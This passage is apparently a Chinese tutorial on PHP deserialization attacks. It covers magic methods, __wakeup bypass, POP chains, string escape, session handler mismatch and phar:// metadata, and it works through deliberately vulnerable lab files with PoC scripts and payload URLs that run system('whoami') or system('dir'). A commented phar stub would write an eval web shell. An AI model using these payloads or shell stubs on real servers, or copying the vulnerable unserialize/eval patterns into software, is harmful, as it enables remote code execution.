函数作用 | 在对象被克隆时提供一个修改克隆副本的机会 |
调用时机 | 使用clone关键字对一个对象进行克隆操作时,新对象会自动调用定义的魔术方法__clone() |
传递参数 | 无 |
返回值 | 不需要 |
演示 | class people{ public $name = 'zs'; public $age=20; public $clone ='我zs是本体'; public function __clone() { $this->clone='我是克隆对象'; } } $lisi = new people(); $lisi2 = clone $lisi; echo $lisi->clone; echo '<br/>'; echo $lisi2->clone; |
__autoload()
函数作用 | PHP引擎尝试实例化一个未定义的类时,动态加载类文件 |
调用时机 | 尝试使用一个未定义的类时 |
传递参数 | $name:类名 |
返回值 | 不需要 |
演示 | function __autoload($name){ echo "没有$name 这个类"; } $lisi = new people(); |
__debugInfo()
函数作用 | 自定义对象在被调试时的输出,可以控制对象在使用var_dump()函数时打印的信息。 |
调用时机 | 在使用var_dump()函数或调试时自动调用。 |
传递参数 | 无 |
返回值 | 返回一个数组,其中包含要在调试输出中显示的属性和其对应的值 |
演示 | class people{ public $name='zs'; public $age=20; function __debugInfo(){ return ['a'=>'哈哈哈']; } } $lisi=new people(); var_dump($lisi); |
2.4 魔法方法总结
2.5 魔法方法演示
- __wakeup()
wakeup.php | 创建 wakeup.php文件 |
<?php class Test{ var $test = "123"; function __wakeup(){ $fp = fopen("test.php", 'w'); fwrite($fp, $this -> test); fclose($fp); } } $a = new Test(); echo serialize($a);// O:4:"Test":1:{s:4:"test";s:3:"123";} $test1 = $_GET['test']; print_r($test1); echo "<br />"; $seri = unserialize($test1); require "test.php"; ?> |
|
Payload: wakeup.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";} | |
注:CVE-2016-7124漏洞 |
- POP链构造
PHP魔术方法的本质是当我们要执行一些操作的时候,比如创建一个新的对象,或反序列化的时候,执行这些操作之前或之后,PHP环境会自动帮我们调用这些魔术方法。当PHP代码中类和魔术方法比较多的时候,会对反序列化漏洞利用产生阻碍,这时候需要构造POP链了。
1 POP链前置知识
1.1 POP链成员属性赋值对象
案例讲解演示:1.php | 分析 |
class index { private $test; public function __construct(){ $this->test = new normal(); } public function __destruct(){ $this->test->action(); //4.destruct()从test调用了action()方法, } } class normal { public function action(){ echo "please attack me"; } } class evil { var $test2; public function action(){ eval($this->test2); //1.利用漏洞点在函数eval()可执行指令,2.eval()调用成员属性$test2 } } unserialize($_GET['test']); //3.反序列化触发了__destruct()方法 //construct()没触发,则可以让test调用了evil中的action方法。如何调用呢? 思路:给$test赋值为对象 test =new evil() | |
解题思路:2.php | |
class index { private $test; public function __construct(){ $this->test = new evil(); } // public function __destruct(){ // $this->test->action(); // } } /* class normal { public function action(){ echo "please attack me"; } } */ class evil{ var $test2="system('whoami');"; // public function action(){ // eval($this->test2); // } } //unserialize($_GET['test']); $a=new index(); $b=serialize($a); echo urlencode($b); echo $b; | //3.给$test赋值实例化对象 test=new evil() 序列化只能序列化成员属性,不能序列成员方法 //1.构造命令语句 //2.实例化对象index(),自动调用__constrnct()魔法方法 |
此时$a为实例化对象index(); 其中成员属性$test=new evil(); $test 为实例化对象evil(); 成员属性$test2=”system(‘whoami’);” | |
Payload:1.php?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:17:"system('whoami');";}} |
1.2 魔术方法触发规则
魔术方法触发的前提是:魔术方法所在类(或对象)被调用
题:目标需要显示 wakeup is here和to stringis here | |
//1.php class fast { public $source; public function __wakeup(){ echo "wakeup is here!!"; echo $this->source; } } class sec { var $benben; public function __tostring(){ echo "tostring is here!!"; } } $b = $_GET['benben']; unserialize($b); | |
分析1 | |
class fast { public $source; public function __wakeup(){ echo "wakeup is here!!"; echo $this->source; } } class sec { var $benben; public function __tostring(){ echo "tostring is here!!"; } } //$a = $_GET['benben']; $a = 'O:3:"sec":1:{s:6:"benben";N;}'; unserialize($a); echo unserialize($a); $b = 'O:4:"fast":1:{s:6:"source";N;}'; unserialize($b); | 反序列化的内容$a所调用的类sec()不包含__wakeup(),所以不会触发,//echo 把反序列化生成的对象当成字符串输出,触发所在类内的__tostring() //反序列化触发$b所调用的类fast()里包含的__wakeup O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}} |
解题2.php | |
class fast { public $source; //4.$source = object sec public function __wakeup(){ echo "wakeup is here!!"; echo $this->source; //3.在echo中的source包含实例化sec()的对象 } } class sec { var $benben; public function __tostring(){ echo "tostring is here!!"; //1.需要触发__tostring() } } $a =new fast(); $b = new sec(); //2.把sec()实例化成对象后当成字符串输出 $a ->source =$b; //在对象$a里让source赋值对象$b,在触发wakeup后执行echo 从而触发sec()中的__tostring() echo serialize($a); | |
Paylaod:1.php?benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}} | |
poc编写 | |
class fast { public $source; } class sec { var $benben; } $a =new fast(); $b = new sec(); $a ->source =$b; echo serialize($a); |
2 POP链构造及POC编写
2.1 POP链
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量所在PHP反序列化中有一种漏洞利用方法叫"面向属性编程"POP( Property Oriented Programming)。POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload。
POP链利用了PHP中对象的自动调用魔术方法特性,将多个类和方法串联起来,形成一个链式调用。当PHP反序列化时,会自动调用这些方法,触发代码执行。
2.2 POC编写
POC(Proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。PoC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
2.3 POP链构造技巧
- 第一步:简单浏览
找出可能的漏洞点。多去注意一写容易触发漏洞的函数:eval、include等。
- 第二步:根据漏洞点反推
看逻辑是否可行(参数是否可写入、魔术方法是否能触发、条件是否可达成等)。
一般先找注入点,判断注入需要的参数,然后找到包含执行注入的函数(一般就是魔术方法),再找执行此函数的条件a,判断条件a是否可以满足,然后再找执行条件a需要满足的条件b,依次找下去直到不需要再找需要满足的条件即可。
- 第三步:最后构造poc验证
构造的时候根据上一步找到条件最好从后往前构造,并且要找正确触发魔术方法的究竟是谁($this指的是谁)。
案例:一道简单的pop链例题
class test{ private $index; function __construct(){ $this->index=new index(); } function __destruct(){ $this->index->hello(); } } class index{ public function hello(){ echo '你好'; } } class execute{ public $test; function hello(){ eval($this->test); } } if(isset($_GET['test'])){ @unserialize($_GET['test']); } else{ $a=new test; } |
Poc编写
class test{ private $index; function __construct() { $this->index=new execute(); } } class execute{ public $test="system('dir');"; } $a=new test(); echo urlencode(serialize($a)); |
Payload:pop.php?test=O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00test%00index%22%3BO%3A7%3A%22execute%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A14%3A%22system%28%27dir%27%29%3B%22%3B%7D%7D |
3 字符串逃逸
3.1 php序列化字符串的结束特性
1.PHP 在反序列化时,语法是以 ; 作为字段的分隔,以 } 作为结尾并且是根据长度判断内容且其中字符串必须以双引号包裹,不能不写或以单引号包裹;
2.在结束符 } 之后的任何内容不会影响反序列化的后的结果
3.注意,很容易以为序列化后的字符串是;},但对象序列化是直接}结尾
php反序列化字符逃逸,就是通过这个结尾符实现的当长度不对应的时候会出现报错。
class people{ public $name='lili'; public $age='20'; } $a = new people(); |
echo serialize($a); |
O:6:"people":2:{s:4:"name";s:4:"lili";s:3:"age";s:2:"20";} |
$b= serialize($a); var_dump(unserialize($b)); |
object(people)#2 (2) { ["name"]=> string(4) "lili" ["age"]=> string(2) "20" } |
var_dump(unserialize('O:6:"people":2:{s:4:"name";s:4:"lili";s:3:"age";s:2:"20";}dsdsdsdsddf')); //}后加入任何字符串都不会影响结果 |
var_dump(unserialize('O:6:"people":2:{s:4:"name";s:5:"li}li";s:3:"age";s:2:"20";}dsdsdsdsddf')); |
object(people)#2 (2) { ["name"]=> string(5) "li}li" ["age"]=> string(2) "20" } //字符串的 }被当成字符串字符,等根据前面长度判断 |
3.2 什么是字符串逃逸
其实就是开发者为了达到一定的安全性,过滤掉特殊字符。先将对象序列化,然后将序列化后的敏感字符进行过滤或替换,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
上面两个从上到下分别是字符串减少、字符串增多,字符串长度是由前面的长度5来控制,从而导致反序列化失败。开发者可能通过这些方法来达到过滤非法字符的目的,达到一定的安全性。但是却会造成其他的问题:字符串逃逸。
字符串减少逃逸讲解(吞噬单字符)
// 目标:逃逸一个属性age=25 class a{ public $name = "abcd"; public $number='1234'; } $data=serialize(new a()); echo $data; echo '<br>'; $data=str_replace("d","",$data); //str_replace(),它把d替换为空 echo $data; var_dump(unserialize($data)); //bool(false) ,反序列化无法成功 |
O:1:"a":2:{s:4:"name";s:4:"abcd";s:6:"number";s:4:"1234";} 过滤前 |
O:1:"a":2:{s:4:"name";s:4:"abc";s:6:"number";s:4:"1234";} 过滤后 |
注意这里是4,但是我们过滤之后的字符只有三个,所以他会将abc后面的一个字符”吞掉并,把abc” 当作是name的值。 |
思考:如果说它过滤了一个p之后,会吞噬一个字符,但是吞噬之后序列化字符串不符合序列化的语法规范,所以使其无法反序列化成功,这样某种程度起到了安全的作用 ,但是如果我们使其吞噬更多内容会不会达到结果合法的目的?以及吞多少? |
O:1:"a":2:{s:4:"name";s:4:"abc";s:6:"number";s:4:"1234";} O:1:"a":2:{s:4:"name";s:?:"abc";s:6:"number";s:xx:"要构造的字符串";} 继续往后吞,一直吞噬到下一个可控点引号之前(name和number为可控点),使得下一个可控制点的第一个引号充当name的结束引号。 XX:要构造的字符串通常长度为两位数 O:1:"a":2:{s:4:"name";s:4:"abc";s:6:"number";s:4:"1234";} |
echo strlen ('";s:6:"number";s:4:'); //----> 吞了19个字符 那我们让它多吞19个字符,使其构成一个字符串且由”闭合,所需吞掉的";s:6:"number";s:4:字符长度为19,19+3=22。也就是我们在可控参数name上多写19个d。 |
public $name = "abcddddddddddddddddddd"; |
则前面字符串合法了,接下来也需要让”号后面的字符串部分也合法起来,如下: O:1:"a":2:{s:4:"name";s:4:"abc";s:6:"number";s:4:";s:3:"age";i:25;}";} echo strlen(';s:3:"age";i:25;}'); //17个字符长度 -->构造: O:1:"a":2:{s:4:"name";s:22:"abc";s:6:"number";s:4:";s:3:"age";i:25;}";} $number=’;s:4:";s:3:"age";i:25;}’; |
class a{ public $name = "abcdddddddddddddddddddd"; public $number = ';s:3:"age";i:25;}'; } $data = serialize(new a()); echo $data; //O:1:"a":2:{s:4:"name";s:4:"abcd";s:6:"number";s:4:"1234";} $data = str_replace("d","",$data); echo'<br>'; echo $data; //O:1:"a":2:{s:4:"name";s:4:"abc";s:6:"number";s:4:"1234";} //可以使用吞噬单字符实现 //O:1:"a":2:{s:4:"name";s:22:"abc";s:6:"number";s:4:"1234";} //构造->O:1:"a":2:{s:4:"name";s:22:"abc";s:6:"number";s:4:";s:3:"age";i:25;}";} //O:1:"a":2:{s:4:"name";s:22:"abc";s:6:"number";s:17:";s:3:"age";i:25;}";} echo strlen('";s:6:"number";s:4:'); var_dump(unserialize('O:1:"a":2:{s:4:"name";s:22:"abc";s:6:"number";s:4:";s:3:"age";i:25;}";}')); var_dump(unserialize($data)); |
echo serialize($data); //s:72:"O:1:"a":2:{s:4:"name";s:23:"abc";s:6:"number";s:17:";s:3:"age";i:25;}";}"; //age属性成功逃逸 |
字符串减少逃逸讲解(吞噬多字符)
思考:如果它过滤的时候不止吞噬一个字符怎么办?那样就可能出现不会正好能吞噬到下一个可控变量引号之前的情况
//目标:逃逸一个属性age=25; class a{ public $name="abcphp"; public $number='123'; } $data=serialize(new a()); $data=str_replace("php","",$data); echo $data; var_dump(unserialize('O:1:"a":2:{s:4:"name";s:6:"abc"""";s:6:"number";s:3:"123";}')); var_dump(unserialize($data)); |
过滤前: O:1:"a":2:{s:4:"name";s:6:"abc";s:6:"number";s:3:"123";} 加入现在吞噬3个字符,过滤之后 O:1:"a":2:{s:4:"name";s:6:"abc";s:6:"number";s:3:"123";} 但是";s:6:"number";s:xx:这串字符是20个,20除以3明显不是整数,那么怎么办呢? O:1:"a":2:{s:4:"name";s:?:"abc";s:6:"number";s:xx:"要构造的字符串";} 很简单,让他往后吞噬就行,最后给它闭合了就行,如下: 我们写7个php,使其吞噬21个字符,然后通过加引号闭合,引号后面再写我们的内容就行,一直吞噬到下一个可控点的引号 O:1:"a":2:{s:4:"name";s:?:"abc";s:6:"number";s:xx:"";s:3:"age";i:25;}";} 假如它一次性过滤6个字符,那么就使其吞噬4x6=24个字符,那么如下构造即可 O:1:"a":2:{s:4:"name";s:?:"abc";s:6:"number";s:xx:“123";s:3:"age";i:25;}";} 这时abc“;s:6:”number“;s:xx:“123成为name的值,;s:3:”age“;i:25;}为我们输入的number值,还不够就再两个引号之间插入字符。 |
//目标:逃逸一个属性age=25; class a{ public $name="abcphpphpphpphpphpphpphp"; public $number='";s:3:"age";i:25;}'; } $data=serialize(new a()); $data=str_replace("php","",$data); echo $data; //var_dump(unserialize('O:1:"a":2:{s:4:"name";s:6:"abc"""";s:6:"number";s:3:"123";}')); var_dump(unserialize($data)); |
object(a)#1 (3) { ["name"]=> string(24) "abc";s:6:"number";s:18:"" ["number"]=> string(18) "";s:3:"age";i:25;}" ["age"]=> int(25) } |
字符串减少逃逸不是必须替换为空,只要替换之后比原先少即可 |
class a{ public $name="abcphpphpphpphpphpphpphp"; //public $number='";s:3:"age";i:25;}'; public $number='";s:6:"number";s:3:"666";}'; } $data=serialize(new a()); $data=str_replace("php","",$data); echo $data; //var_dump(unserialize('O:1:"a":2:{s:4:"name";s:6:"abc"""";s:6:"number";s:3:"123";}')); var_dump(unserialize($data)); |
总结: 第一个字符串的构造,需要判断吞噬多少个字符,是否需要在两个引号之间添加字符。 第二个字符串只需构造的满足最后的语法规范即可。 |
字符串增多逃逸讲解(吐出单字符)
//目标:让isAdmin=1 class a{ public $name="php123"; public $number='1234'; public $isAdmin='0'; } $data=serialize(new a()); echo $data. '<br/>'; $data=str_replace("php","hack",$data); echo $data; var_dump(unserialize($data)); |
正常输出: O:1:"a":3:{s:4:"name";s:6:"php123";s:6:"number";s:4:"1234";s:7:"isAdmin";s:1:"0";} 将一个php替换为hack之后相当于是多吐出了一个字符3 O:1:"a":3:{s:4:"name";s:6:"hack123";s:6:"number";s:4:"1234";s:7:"isAdmin";s:1:"0";} 思路:使吐出的字符结合到一起最终构造成合法的序列化字符串 加入我们多输入一个php,就会吐出2个字符 O:1:"a":3:{s:4:"name";s:9:"hackhack123";s:6:"number";s:4:"1234";s:7:"isAdmin";s:1:"0";} 那么如果我们构造 O:1:"a":3:{s:4:"name";s:6:"hackxxx";s:6:"number";s:4:"1234";s:7:"isAdmin";s:1:"1";}";s:6:"number";s:4:"1234";s:7:"isadmin";s:1:"0";} ";s:6:"number";s:4:"1234";s:7:“isadmin";s:1:"1";}如果我们使得这串字符被吐出来,那么这样就最终形成了一个合法的序列化字符串: 一个php会被替换成hack,一个php吐出一个字符。 “;s:6:”number“;s:4:”1234“;s:7:”isadmin“;s:1:”1“;}有 49个字符,所以需要输入49个php |
class a{ public $name='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:6:"number";s:4:"1234";s:7:"isadmin";s:1:"1";}'; public $number='1234'; public $isAdmin='0'; } $data=serialize(new a()); echo $data. '<br/>'; $data=str_replace("php","hack",$data); echo $data; var_dump(unserialize($data)); |
字符串增多逃逸讲解(吐出多字符)
如果说吐出的是多个字符。如上面php会被替换成hacker,一个php吐出三个字符。
“;s:6:”number“;s:4:”1234“;s:7:”isadmin“;s:1:”1“;} 有 49个字符,49除以3=16余1,所以需要输入16个php,同时将“;s:6:”number“;s:4:”1234“;s:7:”isadmin“;s:1:”1“;} 改为“;s:6:”number“;s:4:”123“;s:7:”isadmin“;s:1:”1“;}这样就是48个字符,输入16个php刚刚好。 假如:吐出的多了就在“;s:6:”number“;s:4:”1234“;s:7:”isadmin“;s:1:”1“;}红色部分增加字符即可,如吐出的多了就在“;s:6:”number“;s:4:”12354“;s:7:”isadmin“;s:1:”1“;} |
3.3 字符串逃逸实战
练习一:
解题思路:
O:4:"User":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}
admin->hack 吞噬了一个字符,可以利用字符串减少逃逸解决此题
我们可以继续吞,吞到下一个可控字符串之前,
O:4:"User":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}
";s:8:"password";s:xx: ->6改为xx是构造后拼接不可能才个位数
echo strlen('";s:8:"password";s:xx:'); 需要吞噬22个字符,-->一个admin吞噬一个字符,那么需要22个admin
可以使用for循环生成22个admin
$a='';
for($i=1;$i<=22;$i++){
$a=$a.'admin';
}
echo $a;
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin
那么 username的值为:hack";s:8:"password";s:xx: --22个字符,22个admin
接下来需要构造password "123456"字符串
O:4:"User":3:{s:8:"username";s:5:"hack";s:8:"password";s:xx:"123456";s:7:"isAdmin";i:0;}
Password的值为:;s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}
练习二:
O:4:"User":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}
Admin->hacker 增多一个字符,那让增加到 } ,一共有多少个字符
Strlen(‘";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}’);--49个字符
一个admin增加1个,需要增加49个admin,那么构造如下
Username: 49个admin";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;} 拼接
4 session反序列化漏洞
4.1 知识回顾
4.1.1 什么是cookie
Cookie:Cookie一般用来保存用户信息,存储在客户端中,服务器端通过Cookie中携带的数据区分不同的用户。
但是cookie有一些问题:存储数据少、存放与客户端导致安全性低等,所以就产生了session。
4.1.2 什么是session
Session:是基于Cookie实现的,存储在服务器端中,服务器端根据name为JSESSIONID的Cookie的value,去查询Session对象,从而区分不同用户。
Sessionid一般保存在cookie当中
4.1.3 php中的Session机制
核心函数:session_start()
作用是打开Session,并且随机生成一个32位的session_id,session的机制就是基于这个session_id,服务器就是通过这个唯一的session_id来区分出这是哪个用户访问的。
开启session:直接调用session_start或php.ini的session.auto_start=1
---------------------------------------------------------------------------------------------------------------------------
session_start();
echo session_id(); //输出的sessionid:2e2cf50e728472ce9a28794e8a3eba94
---------------------------------------------------------------------------
可以在php.ini的session.save_path设置session文件储存位置
Session文件如下:
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中,上述的配置项的设置如下:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
4.1.4 php中的Session三种存储机制
在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
序列化处理器 | 存储格式 | 备注 |
php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 | php默认中使用 |
php_binary | 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数序列化处理的值 | |
php_serialize | 经过serialize()函数序列处理的数组 | php版本>5.5.4中可以选择使用 |
默认存储
-------------------------------------------------------------------------------
session_start();
//将用户信息存储到会话中
$_SESSION['username']='zhangsan';
$_SESSION['userage']='25';
-------------------------------------------------------------------------------
最后的session的存储和显示如下:
username|s:8:"zhangsan";userage|s:2:"25";
键名username + 竖线| + 经过serialize()函数序列化处理的值s:8:"zhangsan";userage|s:2:"25"+(分隔符;)
可以看到PHPSESSID的值是2e2cf50e728472ce9a28794e8a3eba94,而在xampp/tmp下存储的文件名是2e2cf50e728472ce9a28794e8a3eba94,文件的内容是username|s:8:"zhangsan";userage|s:2:"25";
Username是键key,值value是s:8:"zhangsan";userage|s:2:"25";
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。
php_ serialize 引擎下
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['username']='zhangsan';
$_SESSION['userage']='25';
?>
以数组的序列化形式存储。SESSION文件的内容是a:2:{s:8:"username";s:8:"zhangsan";s:7:"userage";s:2:"25";}。a:2是使用php_serialize进行序列话都会加上为数组2个值。同时使用php_serialize会将session中的key和value都会进行序列化。
在php_binary引擎下
ini_set('session.serialize_handler','php_binary');
session_start();
//将用户信息存储到会话中
$_SESSION['username']='zhangsan';
$_SESSION['userage']='25';
用可以使用如010 edit 二进制文件打开。
Php_binary:键名的长度对应的ASCII字符+键名 +经过序列化处理的值
4.2 Session反序列化漏洞
当网站序列化并存储Session,与反序列化读取的session方式不同,就可以导致session反序列化漏洞的产生。
当session_start()函数重用现有会话时,PHP内部会调用管理器的read回调函数,该函数会读取存储会话数据的文件,并将该文件中得序列化内容自动反序列化,然后将反序列化后的数据填充到$_SESSION数组中。
存在save.php和vul.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞。 |
save.php:提交a以php_serialize格式写入保存 <?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['ben'] = $_GET['a']; ?> |
Vul.php 以php的方式读取session <?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class D{ var $a; function __destruct(){ eval($this->a); } } ?> |
构造获取a的值 <?php class D{ public $a ="system('dir');"; } echo serialize(new D()); //O:1:"D":1:{s:1:"a";s:14:"system('dir');";} ?> |
a:1:{s:3:"ben";s:46:"|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";} //经过serialize()序列化处理的数组 a:1:{s:3:"ben";s:46:"|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";} 如果是php存储方式读取把竖线前当成key键值a:1:{s:3:"ben";s:46:" ,竖线后为value,O:1:"D":1:{s:1:"a";s:17:"system('whoami');";} 经过serizalize序列化处理的值 所以vul.php读取a:1:{s:3:"ben";s:46:"|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";} 这个的时候以php格式读取时会把O:1:"D":1:{s:1:"a";s:17:"system('whoami');";} 此value值反序列化。 |
Payload:save.php?a=|O:1:"D":1:{s:1:"a";s:14:"system('dir');";}S vul.php读取eval()执行 //save.php?a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";} //save.php?a=|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";} |
5 phar反序列化
我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用。unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
5.1 什么是phar
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
5.2 Phar结构
它主要由四部分构成:
1. a stub
stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点。文件操作函数通过phar://伪协议解析phar文件时就会将Meta-data部分的信息反序列化。
3. the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的。
4. a signature for verifying Phar integrity
签名格式
5.3 Phar漏洞原理
Manifest压缩文件的属性等信息,以序列化存储,存在一段序列化的字符串;调用phar伪协议,可读取.phar文件;
Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
注意:Phar需要PHP>=5.2 在php.ini中将phar.readonly设置为OFF,否则无法生成phar文件。phar.readonly = OFF
5.4 举例讲解
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
Phar.php |
<?php class TestObject { //创建一个类 } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub头部信息 $o = new TestObject(); $o -> data=”helloword!”; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件。内容为test的text.txt 文件 $phar->stopBuffering(); //签名 ?> |
访问后,会生成一个phar.phar在当前目录下。 ![]() |
用winhex打开 |
![]() |
可以明显的看到meta-data是以序列化的形式存储的。 有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下: |
![]() |
phar_fan.php |
<?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include('phar://phar.phar'); ?> |
可以看到成功触发了反序列化 |
![]() |
5.5 漏洞利用演示
漏洞文件index.php |
<?php highlight_file(__FILE__); error_reporting(0); class Testobj { var $output="echo 'ok';"; function __destruct() //destruct把output(‘echo ok’)值调用并输出 { eval($this->output); } } if(isset($_GET['filename'])) { $filename=$_GET['filename']; var_dump(file_exists($filename)); //提交文件名filename,file_exists读取文件,检查文件是否存在 } ?> |
http://127.0.0.1/phar/index.php?filename=E://result.txt 能够读取文件,这能够读取phar伪文件 |
接下来构造phar伪文件 |
<?php highlight_file(__FILE__); class Testobj { var $output=''; } @unlink('test.phar'); //删除之前的test.par文件(如果有,可以不用) $phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀 $phar->startBuffering(); //开始写文件 $phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub头部信息 $o=new Testobj(); $o->output='eval($_GET["a"]);'; $phar->setMetadata($o);//写入meta-data(序列化字段) $phar->addFromString("test.txt","test"); //添加要压缩的文件 $phar->stopBuffering(); ?> |
http://127.0.0.1/phar/index.php?filename=phar://test.phar Index.php页面 file_exists有文件包含功能,可调用phar伪协议,读取test.phar。phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化 ,反序列化触发 __destruct(),执行eval($this->output);} ,而反序列化后 output=‘eval($_GET[“a”]);’; a 的值变得可控 http://127.0.0.1/phar/index.php?filename=phar://test.phar&a=system('dir'); |
5.6 phar使用条件
1. phar文件要能够上传到服务器端。( phar后缀可以更改为任何文件后缀)
2. 要有可用的魔术方法作为“跳板”。
3. 要有文件操作函数,如file exists(),fopen(),file_get_contents(),且 :、/、phar 等特殊字符没有被过滤
5.7 phar反序列化漏洞练习
Test.php |
<?php highlight_file(__FILE__); error_reporting(0); class Test{ public $file; public function __destruct(){ include($this->file); } } $filename = $_GET['file']; $filename1 = preg_replace('/\.php|\\\\/', '', $filename); if(isset($_GET['file'])){ if($filename!==$filename1){ echo '被过滤了哦'; } } include($filename1); ?> |
Flag.php <?php echo "flag_{scxccvftgg@}"; ?> |
http://127.0.0.1/phar/test.php?file=flag.php |
分析: 我们发现php和\都被过滤,我们无法直接访问flag.php,但是我们可以通过phar伪协议访问phar文件,其中文件写入test对象,使其自动反序列化后触发__destruct |
poc编写 如下:test.phar |
<?php // 生成phar class Test { public $file='flag.php'; } @unlink("phar.phar"); //@用来屏蔽输出,可以不用 $phar = new Phar("phar.phar"); //后缀名必须为phar // 开启PHAR对象的缓冲区 $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER();?>'); // $phar->setStub('<?php fputs(fopen(\'shell.php\',\'w\'),\'<?php @eval($_POST["a"])?>\'); __HALT_COMPILER();?>'); //也可以把一句话木马写入文件,绕过上传过滤,配合如下文件包含文件include.php, http://127.0.0.1/phar/include.php?test=phar://phar.phar 生成一句话木马 $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> |
include.php <?php include($_GET['test']); ?> |
验证漏洞: http://127.0.0.1/phar/test.php?file=phar://phar.phar http://127.0.0.1/phar/test.php?file=phar://phar.phar/test.txt |